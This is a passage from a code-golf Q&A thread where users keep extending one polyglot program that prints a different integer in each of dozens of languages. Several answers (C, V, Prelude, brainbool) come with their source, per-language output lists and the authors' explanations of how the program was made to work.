#x%~~~+␉+~*ttt*.x #xx =end #// """#"#// #0]#echo 21#/(\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) ap #_~nJ|#o51\ #0␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#^_^_7LEintndus({})!<>+]/*///Z222999/(3!@)"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. [Try them online!](https://tio.run/nexus/bash#lVjJdtvIFV0Lv9CbMoA2AZGYSEtum4Mlu@U@7ri7FUtWclrUUASKJCywgMYgktZwsk1OFtlnk2X@I9t8RX6kc6vASRLVTigRLBSq6r1334xfNfEh@3E0HURxTnKW5SRIw0uW2uT1lOzQMNuqN4wkDUc0nRJa5MM4NWtk582Qcp8pityexkHhh3xA8iEjIU@KnPTDiGWKT3PSIcnseFsMiEZSRoNymdKPUyK2kNFFRELiJwnpRXRo@1iWxSPxKGdpkjJcM8IZC0iWMD/sh74kQdgkZzwLY57ZJPQvyDiMIhKwCBuWdP0aDiNFtjJVUrGVIFYIPn5yj8vFnc6whi8kZQlNpaQxSaTYc4HHKU0SMKlo5ACM5@GIZSTMKxlhNAsFrtiSMR5IkJIF4jGhfFVKchlSQsFvkcqzM5bmEM@W55IhSxmOpIL4IKUjYozTMAcEAsNdss9oSg5TxkxQAfYs82kCPu6QBLFYUMiFILbUUatV2fvpbQW6KnfYNMkVLW0c/v57hRK7TfSzJr5tVW0qez9@S670rhiDCxwGfSapQU3SviWZ0@0yfCdezxmkNwpOVYBKRJw4yR2cTNMc7C1H1mXdTqIVsqR1TxMr9lOuCqAL8o6To5qUyy/SlIGLJaT0AiJHMR8ATYiaFlygwcm2CwX4MQ@yGmGXwCzmpYbiscT3cBhCZZlQCO0BHuoL5EunkHDCLWB5MzzndLM4KuQ67MxyYX7ABFvFie/65Ij0aRiJLXgujiq5TllWRLnYU/BA6H0UchbYZM6GHwdi0Si@BDmKQ@UE3GW04mSSKSyGGmIpqnj0n7/9PRgMcM6u78dpMDPWIxLEfjECw1QyS2GIwlxjTiPJFtbVBPVyOwhc0igMaC7I8@mMhGRCUh3HRRSQGATTcQjHGtJLOGO/z/yclSYeFzl4rJERvShDQ1jaLQQf0R4UKwlI2hBbGok1KvL@N8RK9kglc06NVy@NV0@6DPyYtrmpO86gCQuzN@UU7iq/ZSxHu0sdKsJkdkmfjUlE@aCgA4gVc2ygvs@SfIYncMlyIHbfKeSkNfNwOxsq@s59ytLSZ76/QkPYYul9M3@lAgQ/Ho2gACuCzglNB1IvJAhToBdN71PHgst7xNVzseQOA@fqIyzMwxSsmk2YX@QAn9XIeBj6QzKW3PFSfaWv3CePqVXqMECrvyAtmPE6T@uK7SymBBuPHmEJRT88BzFAHNW5MyFtYnVCCigD8YFIArDcedQVnrHMDAvhgcb3Iqak7JcC6MJBwwEXSyhfROwVow4zXoGXh1kIiETsDfHk8N1PwpX/wMr0A5DKMLTqhzGSEbbPYqt4MEdMYf4wJhYnlRkPhipD4Sew5WSpLwfWSvxXTRtwGQI2@Wh@0Kcym96PhaTzcJ0kWamRY1U9qSH8RBn0zYsowk3BpUMYzLyCYfgsy2xYN3zVFokE3KlVZt7cXZgP03hM2I3ZrKwjJxVyCJnfI@SS9yGiZdxHgF4mbpnmJyJFdRU1maKG4I271qsun9TLXHHkjCg8MZmu92h19Si54YeQX8RC885oPjpzbW/rzhEoMx7u7IfZUF7uLH3A1sMncnc26vXlZc0CLkzrHl7ywSjmcUkcCIWcOh/kjw0PXcfBXUe4Q/41g6oGzHrRcHohd3qs/9jKt69fv5Nr@r1e@NgiwCCqqfnvmmVp0VuHUo9mwweBktzB@bBI88gKnFz8sn//KQDeD7UxpNMM@fNiMTjjbCw0Y/UfVc5sq7iRl/WK/FREqK2@cIZPRc6k0WKw/qyX5AODtSOncVlSgdMogjsCMgSMh@YMT4iKgM1/1x8qMbwbbwkPRyJfJKLYfWTHvQRREhRlRRrFNHDKQi9kS@2VOLMJHcR86qwEHzvt/Q9szWM4WVZ2@bDIi/Iqyrkv6SlMxPe33G220t3afe3tzX4eWQ8mth@z09JFUkQS621EL5yeGJ71MVwvailMGg5QO85/H1vGMhlkrF4cX1hlvZ45SKuoaBLqM@lqy9u1NvQDUnOEkv3gx48H@79pTJIiTkuj8rr2uHfcR8bi@ZdPAgyRvPyPVig3SUPxaWS5dsN1RLdlrWAY3kM9or2paA@G/7@BCYqDapVY8bKqXzZzSfL4Jt9fv6ls98Q@ma0@yJZgUZWhHyg7GcyF6axyzRbNobZ8SjhFcYX0JsbzMqNZFrfZUNbE6DQC@OpHHsrCAjV4WdbVSA@lgoyB//pnMGsVBizPyCjMUAoPuGhuUbsN4/ErSbesid/sHhALBbHkoU/Ur63nbqbWiL774bujY/ekQlR9os4YFb2OLO0XDJfCEEOM92UemVWiI9kmSZnYWFaiaI3QFYnsKvoPVD8ZGsvclEcbiJ0jFDjWQU62RHPOchSyW7OGioh2F5TkUqJPyDU6VTT5lk@8LRd3pSiRKOxH7WXKWq0SnG9Zr5D@hpaw3mhLOdBztjpylLIgFtX/8Wk3OHGyORpoNb926xOBx1NHqALt6ZVud9zr64xOVfWmYq7073sT1A9wC9FHyT5IET29gCou8jt1@jjMh2VBiSrTH1JRdog6c14cCpb68HkSQU7R30gnz4SgRIBpk90oQ5sdBICpN80FugXPy3pwURSqGuH2wo5qRFUevIgQezMAns@bU3RMaSp5GCI5llYFxQQxlo1la4bqE/WtbdvK2BcqkEes67DQqqPdK7uqbo7xn2fjPsZ/LcenjlCp86DVKgV5gN9KwAvv@NhM8jVcEBD7xxomOMZ/KcfHXde6PVnX8a1hYxEF8/iC8fCzxGr@tuMxJlapqU63q36Z1qq5QNZZPkUYEG8ysOoNTDbMX5Kd3zHO2ZSseYtWvl5bvk57yN1e5SqKEXN1pyl9oXkDNM67pJt3@10uIGlOna8c22leGXrUnjqO45sdQx@2vWpjs1rV@aahc8szzadPhQvd6FlbP7NVW51gkaVHZhPOYOi0rfOmTluGHrTrm3IHbqtV8wobbtF0X@n0xtGfAqcaZlJ2CW9ghp6ZorZ3bdu7AX@f4pDrTm1EkytDJepEvEcR5PWwWhU82PqZYODW6R5UwTlgP3Ck4zZnhuYMRk3p2pW70P/6q0aIp3rbKmk4zmXX2NGcJn@mes9URXM2zxsAldKfWx1v21Fb6rbTs3/ZUU2jXjcPsHMDH6Jo0@lGs7H9ZAfK2VC09kZH0Y4xiX83ckcT17vwLjAKJ@6niTt0h17ged6@yz66vYnbc2MvwJXhz51gGLr9iTtwucs9b@LGGPgT18egj@tAPOrjkE/4C11XnC1IjNzIkx/XNU7PTEU7b51vXCtSZsNglzQyVK87qffrqokYY5AXxIR@vAYxTctwRdh5Zp56rZaxvWV2OsZ23cTzitG9wv@NKS7Hhnli3mBQ/psV7dm28U31xeyv/cTUvOu20/ac@rP2pP3iuKVXd6rWDj7tTrU1@3mldaq2ZdknjnJ29u3u4e7ZWdvTHEfR7K6tenV1c0NR8RFT7R4bhHxDPFS0TQfYBqyPILjxmaDj/syQLyt@xfJeqY1v1Jdq4zmUFnJfFMIbLdEzxPawowifEj2fYcIONnGWYZ5r593KpnMl0rHx2Ww2b5zNyvm5olfEwoqkaDXiZ7Gm67rS6jR@tFsdOTuZ4Pv17e1tdaN6u5nn@aY9kbNt8QoWqRKLBPeSf8090WRIrkNCo3v8dvdNzWtZWl0ODj6@1sTd1vK2jtuGuH2/993eh729P9a8/fd7uwd737072vu4X44hBk0U7eyWf3@txVteF2RB6qtgMAjrX0Hr3vW27jiVSn2LoK/uaJ36cxtJSyNtrbQH77mpnZ6dnj1/v4dbHhSZAX0@aXWqJwDIcX6u1@svXrxwjMaTHVOtb/8X "Bash – TIO Nexus") ## Rundown This program prints **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required. Here is my slightly tweaked version of the Incident [tokeniser](https://tio.run/nexus/c-gcc#ZVTdcuI2FL6GV9gbYZMgWTaWTEKW2HLItmSn3Uwn0zSdDrYDDhjwxjY0mB2HBB6gV33GvkOv0yNMknaq3/Ono@8cH/lFjbNRshpHyFnm43jenLnVf4se4mwqZdU4y1EaxhkmT1UEbTQLH1AWFbkXIIEUFSHuK7ztK6hlmt983FVNOzsCEcy//vxDNbVhC4WrMOw7Lm@bvuL4Stu8a/7e9RWCLYtcg4sKNCStHx8rdqtd60oaVeQqKq7cPFDBYAlLC8bv@T1QccG@FmzGZnzMOb9i0Q27K9gdm/MxrBF0VgAZs0nBpixjGecFmwMxKtgIiAmsU6magJOv0GPGpG95RcoSvmuM4dsBkRCGzrDyDMQCcpNjHH0LEwxx@oU1sSCWMBtj1EFk/oB5CxFiYAYidERuuePg9jFxXdy2COgb2H@CsSFy8TAJyAaIcpCGetTGH2ln30WNqPxZmIKb1pEoRMdz6rRLjS404VJnv52pLm0aRjMwAeBg8P35L@eDgeCqKXm16TcBKIDUZEp9peylUtxF0zirlIZyauYu7@NoEmdRZY3QMl5H8wlqjBoGP/OV1kdfOYXtpPy@@5qpvJURCN9rBiFT23nGZKgO/YZmPi1W@RKviW1vTK0xHIKy3pDGjT0GozU/mqv1eh0Yx2391HTcvaYoduvBdrulFbrV8jzXmsWbRkSQboTKsPYhvkapskCNRrM5siAn2Pcuzr/TuWOo1o64vvmkSu74nbWAbUn2sve593Ov95vOry5759e9zz/82ru5KmkIL1xI74Nt9uOzOj/mPgDYXfdhPJ3G1geoGP7crptmo2EdI@S6rupaJ81l@KgioZaVxE@Ieju4HZxc9oDNxqslhjqoOS4NIHmm2bcsq9PpmLhV6xJfsdqKvXuJEyyfIbGrm6qW66ldlU9TW9jVL3hEniZQh/Y2PTwc3S68NLBJKnK5U5ram@o9jksTLRepMLi98OLAzj1K40Ck5AuWPLFTwcB4gneel/s/gPy6mYBfRBJleEn0tZcZ2yzQL7yM8kBf6VpfrPVQML2AGQuuJ3vAcF8u1jSzQwcmpXuHr20hljS0/yOSR@5xItZeGAhG7AQOUnoBgQDGpZdQGhC4OAHl/w/ayeFhSBO3sBPDINLqtnV24eVABFRI/hSHTnG29lZw/hTDLuCahABwOEdKj5s37IDPhvySneCp@o6vkNAKgJYKofXPtL4marW1VxhpoJdpP2XlKQm6kKBL3/EEa32CdnUwwcpBfHrQ1JZ@pugxpZBHfbE31PrALyh9hbR5efk7mxujcDSL/gE), designed to be a bit less golfed but a bit more useful. ## Explanation I've always loved making little polyglots but never one as big as this; I thought I should probably give it a go! After @Chance's wonderful C++ answer, C seemed the next logical choice, and given (compared to some previous answers) the relative ease of adding it, I decided to go for it when I had the chance! I used a very well-known trick to tell the difference between C and C++; the sizeof a character constant is 1 byte in C++ but the sizeof an int (guaranteed to be at least 16 bits) in C. This code should be very portable (except maybe for systems that use bytes with enough bits to fit an int) unless I've made a stupid mistake. I firstly tried to do a `printf` with everything inline, but the multiple brackets seemed to be causing issues for Japt, so I made the line simpler, which appeared to fix it. Next, Cardinal didn't like it, I guessed because of the `%` in the printf, so I had to solve that one by switching to manipulating strings. My next attempt, trying to assign a string then change the second byte contingent on the C behaviour, ended up far too long and would have pushed Hexagony onto the next size; I wanted to avoid redoing that by keeping it within the extra characters I had to play with! I needed every byte I could get for this, so I implemented the byte-saving changes suggested by @Chance. So I golfed that C code down a bit and came up with `puts(sizeof'c'-1?"38":"37");` which almost worked, except that Underload was segfaulting, presumably because of the complex expression in the brackets. Even after removing the extra `>>` that used to be required to match the `<<` in Perl6, I couldn't get a concise enough way to split out the more complex part of it into a char array assignment. So I ended up looking at using the preprocessor instead. After a lot of trial and error I found a solution that Retina seemed to like. Prelude which was causing me problems on-and-off all the way through, ended up fixing itself before I got round to looking at why it was breaking (I guess either the brackets or the `!` I had in the ternary at one stage, looking at previous answers). All the while I was patching up the whitespace to get something that Whitespace would like; I found that to be rather easy. Specifically, `tab space space space` was a very useful combination (the instruction to add the top two items on the stack), since it meant I could add whitespace to lines with no other whitespace without having everything go out of sync (I'm guessing its position in the program means it never actually gets executed so I'm not worried about stack underflows here). I've now tested Incident, and it works! Many thanks to @Chance and @LliwTelracs, which I've just realised is NOT a Welsh name, for helping me get to grips with it. See this [syntax highlighting](https://tim32.org/%7Emuzer/incident.html). I have removed the `;` token that was appearing before the `#yy` token. I did this by simply adding an extra `;` after the `gets` statement (my previous attempt involved replacing `s` (which now appears much more in the C program than it did in the previous one) in the "detokenising" string with a `;`, but it turned out I was actually a character short for Hexagony (thanks @Chance), so after attempts to add an extra character to this last line failed, I just changed it back and added the extra semicolon elsewhere). I have also tweaked the whitespace a little to change some other tokens to make some attempt at centring, to re-tokenise Tab Linefeed (by moving the tab at the end of the `#include` line to in the middle, thus making three tokens), and to de-tokenise the triple-space token by moving one space in the `define` line. Finally, a day after initial submission, I decided to get to the bottom of the scary preprocessor warning that gcc produced (and which made Clang fail). I determined that the reason the first line worked at all is because it's the output from the preprocessor that provides debug info like original filenames and line numberings. They didn't like the first "2" on the first line, because this meant "returning from an included file into the given file", and obviously that's impossible given there haven't been any included files. After changing it to a "1" (start normal header) made a few too many languages choke, I changed it to a "3" (start internal component header), which broke only Hexagony, since it was now relying on the 2. So at the start of the Hexagony code I added an open bracket `(` to decrement the 3 to a 2, then a close bracket `)` after the end (`@`) of the hexagony code to satisfy Retina, Prelude and Underload which all expected matching brackets. Re-testing Reng and Modular SNUSP produced no issues, and the Incident tokens looked right, so I had now fixed it! I've tested it on a variety of exotic architectures and it appears to work. I know it's not important for a code golf, and I won't mind if future submitters have to break this again to keep within a byte count or whatever (or if anyone's already started based on this solution and doesn't want to change theirs too much), but there is one good reason I've done this - TIO's Objective-C compiler only supports Clang, so this'll be very useful if anyone wants to add that! Bear in mind I've never used most of these languages, I hope my success encourages more newcomers to give this a try! [Answer] # 2. V (11 bytes) ``` print(1)#i2 ``` This program prints **1** in Python 3, and **2** in V. Just to get the ball rolling and to throw my favorite language into the mix early on. :) It's a very straightforward answer. ``` print(1)# ``` just so happens to be a NOP in V. (lucky for me) Then `i2` enters insert mode and inserts a '2'. You can try V online [here](http://v.tryitonline.net/#code=cHJpbnQoMSkjaTI&input=) Of course, in python ``` print(1) ``` prints '1', and ``` #i2 ``` is a comment. [Answer] # 20. Prelude, 167 bytes ``` #v`16 "<" 6/b0\ .q@#;n4"14"" #>3N9@15o|R"12"*^*ttt*~++% #=| print((1/2and 9 or 13)-(0and+4)^1<<65>>62);#35(99999+++++!) =#;print(17) # ~nJ< # #gg99ddi2` |1|1+6 ``` Literal ESC characters in the same place as in the previous submissions (between the `#` and `g`, and between the `2` and ```, on the last line), because you can't take Vim out of insert mode with printable characters. This program prints [**20** in Prelude](https://tio.run/nexus/prelude#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), **19** in Reng (testable [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**17** in Julia](https://tio.run/nexus/julia5#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**16** in Pyth](https://tio.run/nexus/pyth#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**15** in Haystack](https://tio.run/nexus/haystack#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**14** in Turtlèd](https://tio.run/nexus/turtled#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**13** in Ruby](https://tio.run/nexus/ruby#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**12** in Fission](https://tio.run/nexus/fission#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**10** in Befunge-93](https://tio.run/nexus/befunge#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**9** in Perl](https://tio.run/nexus/perl#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**8** in Retina](https://tio.run/nexus/retina#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**7** in Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZgMTYgIjwiIDYvYjBcIC5xQCM7bjQiMTQiIgojPjNOOUAxNW98UiIxMiIqXip0dHQqfisrJQojPXwKcHJpbnQoKDEvMmFuZCA5IG9yIDEzKS0oMGFuZCs0KV4xPDw2NT4+NjIpOyMzNSg5OTk5OSsrKysrISkgPSM7cHJpbnQoMTcpCiMgICAgICAgfm5KPAojCiMbZ2c5OWRkaTIbYCB8MXwxKzY=&input=), [**6** in SMBF](https://tio.run/nexus/smbf#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**5** in Python 2](https://tio.run/nexus/python2#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**4** in ><>](https://tio.run/nexus/fish#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**3** in Minkolang](https://tio.run/nexus/minkolang#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**2** in Vim/V](https://tio.run/nexus/v#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), [**1** in Python 3](https://tio.run/nexus/python3#Jcu9CoMwFEDhPa/gcptLITG0ev1JCUZx7tChcxFbBHHRVkKn4Kvbit92hrPityUN3HLQ0St@wPlTYzFmnDLOGVbpzdSUT/7OKeFhEzrnwkWpI8PSs/c8jE4IipLn2IGBaQZK5UnE/1SZbMhanVeVTmSBaS7MRm0OEkos9p0ukiHslvFqGTIM@t6YrhuSoAVPnpRe1x8), and `a partridge` in [A Pear Tree](http://esolangs.org/wiki/A_Pear_Tree). The existing code pretty much cancels itself out in Prelude, consisting only of while loops with falsey arguments and some stack manipulation on stacks we don't care about. Even better, there's a spot in the code that's a comment in all the languages that have them (between the `#` and `=#` of the previous submission). The hard part of fitting Prelude into this was generating numbers with only one stack and without blowing up the byte count. This program uses a loop that adds 45 to every stack element and outputs it as ASCII, thus by placing a 5 above a 3 on the stack, we get `20` as output. (Neatly, 20 is an easier number to output than 19 is in Prelude, so answer 19 being posted actually helped me a bit.) [Answer] # 100. brainbool, 2953 bytes ``` #16 "?63(o?23!*# #@"/*\DZZCv;'[af2.q]PkPPX)\('#CO"14"; */ #/*0|7//```"` [>.>.])[-'][(>77*;,68*,@,1',;# l1011)(22)S\4n;iiipsddpsdoh coding:utf8ââââ(1P''53'S^'????!?!??!??!!!!???!?!??!!?!?!!!!!?!!!!?????!????????????????????!) (qx #>â # 36!@â` e++++++::@ #~ #y #`<` #<<<#>>]}}+-[.+..]+-+<[<<.>>x>-]>[ #{ #x} #2""/*\* #=x<R+++++[D>+++++++q L+++<-][pPLEASE,2<-#2FAC,2SUB#1<-#52FAC,2SUB#2<-#32FACREADOUT,2PLEASEGIVEUPFACs]>@@+.---@.>][ #x%+>+=ttt Z_*. #D>xU/-<+++L #R+.----\ \).>]4O6O@| #[#[(?2?20l0v01k1kMoOMoOMoOMoO MOO0l0ix0jor0h0h1d111x0eU0y0yx0moO1d0y0e0e00m1d0i0fx0g0n0n11MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOoMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i0001k1x0vx0v0l111111^_0 )0\\ [ "]56p26q[puts 59][exit]" ,'\[999'];#/s\\/;print"24";exit}}__DATA__/ ###x<$+@+-@@@@=>+<@@@=>+<?#d>+.--.<!\ '(wWWWwWWWWwvwWWwWWWwvwWWWw WWWWWWWWwWW/"78"oo@WWwWWWWWWWwWWWWWWWWwwwwvwWWWwWWWWwvwWWwWWWwvwWWwWWWwvwWWwWWWw (([5]{})))â\';';print((eval("1\x2f 2")and 9or 13<< (65)>>65or 68)-(0and 4)^1<<(65)>>62)or"'x"or' {}{}{}{}({}<(((((()()())){}{})){}{})>)(({})5){}x{(x<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>)wWW no no no no no no no no no no no no no no no no no no no no no no no no no no no no no no os sp '#}#(prin 45)(bye)46(8+9+9+9+9+=!)((("3'3)))"'a'[[@*3*74[?]*]*(<*.*\>]xxxxxxxxxxxxx)'# \\ __DATA__=1#"'x" #.;R"12"' ###;console.log 39;'(******* **********819+*+@[*99[?]*]***|!)' #\\ """"#\ ' ( <>< ( )> ){ ({}[()] )}{\'; a=$(printf \\x00 );b=${#a};#\\ " }"'; (( ( (';case "{"$ar[1]"}"${b} in *1)echo 54;;*4)echo 78;; *1*)echo 50;;*)echo 58;;esac;exit;# (((('))))#\ =begin #p +555/2+55x%6E2x ;set print "-";print 89;exit#ss 9 utpb now 70 dollar off! utpb has been selling out worldwide! #9999 9 seeeemPaeueewuuweeeeeeeeeeCis:ajjappppppp😆😨😒😨💬95💬👥➡ 👋🔢🌚🌝🌝🌚🌚🌚🌚🌚 set ! 57 set ! 51 More 91 of thiset of re9 How much is it*/ #if 0 .int 2298589328,898451655,12,178790,1018168591,84934449, 12597 #endif//* #1"" //* #include<stdio.h> #defineâ x(d)â#d #define u8 "38\0 " main ( ) {puts( sizeof (0,u8)-5?u8"67":*u8""?"37": x( 0'0 "'\"")[9]?"75":'??-'&1? "79":"77");"eg5""6 27""e ' Zing ";}//*/ #if 0 #endif//* --... ...-- /*/ p=sizeof("9( 999 99\" ); print'(''72'')';end!" );main( ){puts( "92");return(9-9+9 -9);} #if 0â #endif//* rk:start | print: "69" rk:end<(9 >5b*:,1-,@ print 61 #} disp 49 ;9; #{ }{}<> $'main'3 #-3o4o#$$$ #<T>"3"O.</+++++++>/+++<-\>+++.---. #<<<#>>> / reg end="";print(85);reg s#++++++++++++++++++++++++++++++++++++++++++++++++++++++++.-. =end ;"""#"#xxxxxxxy"78"\++++>/<~#class P{ function:Main(a:String[] )~Nil{83->Print();} } #}pS9^7^8^MUOUOF@:8:8\\ #s|)o51~nJ;#:p'34'3 \=#print(17)#>27.say#]# print(47) #]#echo 21#fwwwwwWWWwWWWWWwWWWWWWWwWWWWWWWWWwWWWWWWWWWWWWWWWwWWWWWWWWWWWWwvm>++++ #s8âdggi2âM`|$//'' 1$6~-<~-<~-<<<~-COprint ("65")#asss^_^_# #9 "25" +/ *///X222999686# ``` VIP score ([Versatile Integer Printer](http://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .002953 (to improve, next entry should be no more than 3042 bytes) ## Rundown This program prints **1** in Python 3, **2** in V/Vim, **3** in Minkolang, **4** in ><>, **5** in Python 2, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl 5, **10** in Befunge-93, **11** in Befunge-98, **12** in Fission, **13** in Ruby, **14** in Turtlèd, **15** in Haystack, **16** in Pyth, **17** in Julia, **18** in Cardinal, **19** in Reng, **20** in Prelude, **21** in Nim, **22** in Underload, **23** in Hexagony, **24** in Thutu, **25** in Pip, **26** in 05AB1E, **27** in Perl 6, **28** in Brain-Flak, **29** in Trigger, **30** in Whitespace, **31** in Modular SNUSP, **32** in Whirl, **33** in Incident, **34** in Rail, **35** in INTERCAL, **36** in Labyrinth, **37** in C++03, **38** in C99, **39** in CoffeeScript, **40** in Minimal-2D, **41** in brainfuck, **42** in evil, **43** in reticular, **44** in alphuck, **45** in PicoLisp, **46** in Cubix, **47** in Lily, **48** in Deadfish~, **49** in Octave, **50** in Bash, **51** in Assembly, **52** in COW, **53** in Shove, **54** in Zsh, **55** in Brain-Flak Classic, **56** in dc, **57** in Wise, **58** in Ksh, **59** in 